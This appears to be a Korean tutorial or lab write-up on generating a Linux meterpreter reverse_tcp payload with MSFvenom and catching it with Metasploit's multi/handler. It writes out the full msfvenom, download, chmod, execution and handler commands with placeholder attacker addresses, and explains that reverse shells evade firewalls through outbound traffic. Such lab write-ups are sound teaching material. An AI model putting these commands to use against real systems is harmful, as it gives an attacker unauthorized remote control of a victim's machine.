▫️ MSFvenom
MSFvenom은 Metasploit 프레임워크 내의 페이로드 생성 도구로,
다양한 환경에 맞춰 악성 코드를 생성할 수 있다. 이를 통해 공격자는
원하는 페이로드를 제작하고, 대상 시스템에서 실행되도록 유도할 수 있다.
▫️ Handler
Handler는 Metasploit에서 리버스 쉘을 감지하고 공격자와 피해자를
연결해주는 역할을 한다. 피해자가 악성 페이로드를 실행하면, 공격자의
Handler가 이를 감지하고 접속을 허용한다.
이를 통해 공격자는 피해자의 시스템을 원격으로 제어할 수 있다.
이 글에서는 MSFvenom을 사용하여 리버스 쉘을 생성하고,
Handler를 이용해 피해자의 시스템을 공격하는 과정을 설명한다.
일반적으로 우리가 생각하는 쉘을 이용한 공격은 피해자의 열린 포트에
공격자가 접속하여 명령을 실행한다고 생각하기가 쉽다
그러나 이와는 반대로 피해자가 공격자의 서버로 직접 접속하게 만들어
공격자는 연결을 수락하고 피해자의 시스템에서 명령을 수행하므로
원격 조작이 가능하고 피해자의 입장에서 이는 아웃바운드에 속하기에
방화벽의 정책을 우회할 수도 있다
🟨 바인드 쉘 (Bind Shell)
피해자의 시스템에서 특정 포트를 열어둔 채 공격자가 접속하는 방식
방화벽 정책이나 NAT 환경에서는 제한될 수 있음
🟨 리버스 쉘 (Reverse Shell)
피해자가 공격자에게 직접 연결하는 방식
아웃바운드 트래픽을 이용하여 방화벽 우회 가능
대부분의 공격에서 리버스 쉘이 더 많이 사용됨
가장 먼저 MSFvenom을 통해 공격에 사용할 페이로드를 작성해야 한다
msfvenom --list payloads | grep [타겟의 OS환경]으로 검색을 해보면
다양한 운영체제에 맞는 reverse_tcp 쉘 페이로드가 있음을 확인할 수 있다
내가 테스트하는 환경에서의 타겟은 Linux환경이므로 다음과 같이 작성한다
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
💡설명
-p linux/x86/meterpreter/reverse_tcp → 리눅스용 리버스 쉘 페이로드
LHOST=10.10.X.X → 공격자의 IP
LPORT=XXXX → 공격자가 대기할 포트
-f elf → 리눅스 실행 파일 (.elf) 생성
> rev_shell.elf → 파일로 저장
리눅스의 .elf 파일은 윈도우 환경의 .exe 파일과 동일하다고 볼 수 있으며,
해당 파일이 실행권한(x)을 가지고 있는지 항상 확인해야 한다.
즉, 페이로드를 생성한 후 chmod +x shell.elf를 통해 실행권한을 부여해
주어야 만 실행할 수 있다. (이후 ./shell.elf로 실행)
이제 shell.elf 파일이 만들어 졌으니 피해자가 이 파일을 다운받아
실행하도록 만들어야 한다
내가 푼 예제에서는 공격자가 python3 -m http.server 9001로 서버를 열고
피해자가 wget을 활용하여 파일을 다운받도록 하였다
피해자 터미널에서 파일 다운)

이제 Metasploit의 Handler를 실행시키기 위해 공격자의 터미널에서
msfconsole로 metasploit에 접근한다. 이후 search handler를 통해
검색해보면 handler에 대한 내용을 찾을 수 있고
use exploit/multi/handler로 접속한다
공격자 터미널에서 handler 설정)

이 handler의 실행에 필요한 옵션에는 payload와 lhost, lport이다
공격자는 리버스 쉘이 성공적으로 연결되기 위해 handler를 통해
피해자의 컴퓨터로 부터 오는 통신을 감지하여 연결한다. 즉, 위 화면에서
요구하는 lhost와 lport는 공격자의 IP와 연결포트임을 알 수 있다
리눅스 환경이기에 payload는 "linux/x86/meterpreter/reverse_tcp"로 설정
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 10.10.X.X
set LPORT XXXX
run
설정이 끝나면 handler를 run명령을 통해 실행시킨다
Handler까지 준비가 되었으면 이제 피해자의 컴퓨터에서 해당 페이로드를
실행시키기만 하면 된다. 페이로드를 실행시키기 전 해당 페이로드에
실행권한을 부여해야 하므로 chmod +x rev_shell.elf로 권한을 부여한다.
.elf 파일은 ./rev_shell.elf를 통해 간단하게 실행시킬 수 있고
이를 실행하면 다음과 같이 공격자의 handler가 쉘을 연결한 걸 볼 수 있다

MSFvenom을 이용하면 다양한 환경에 맞는 페이로드를 생성할 수 있으며,
Handler를 사용하여 피해자의 시스템과 공격자를 연결할 수 있고,
리버스 쉘을 활용하면 방화벽을 우회하여 피해자의 시스템을 원격으로 제어한다
전체 과정은 페이로드 생성 후 Metasploit Handler 실행과
피해자의 실행을 통해 세션을 획득하는 방식으로 진행됨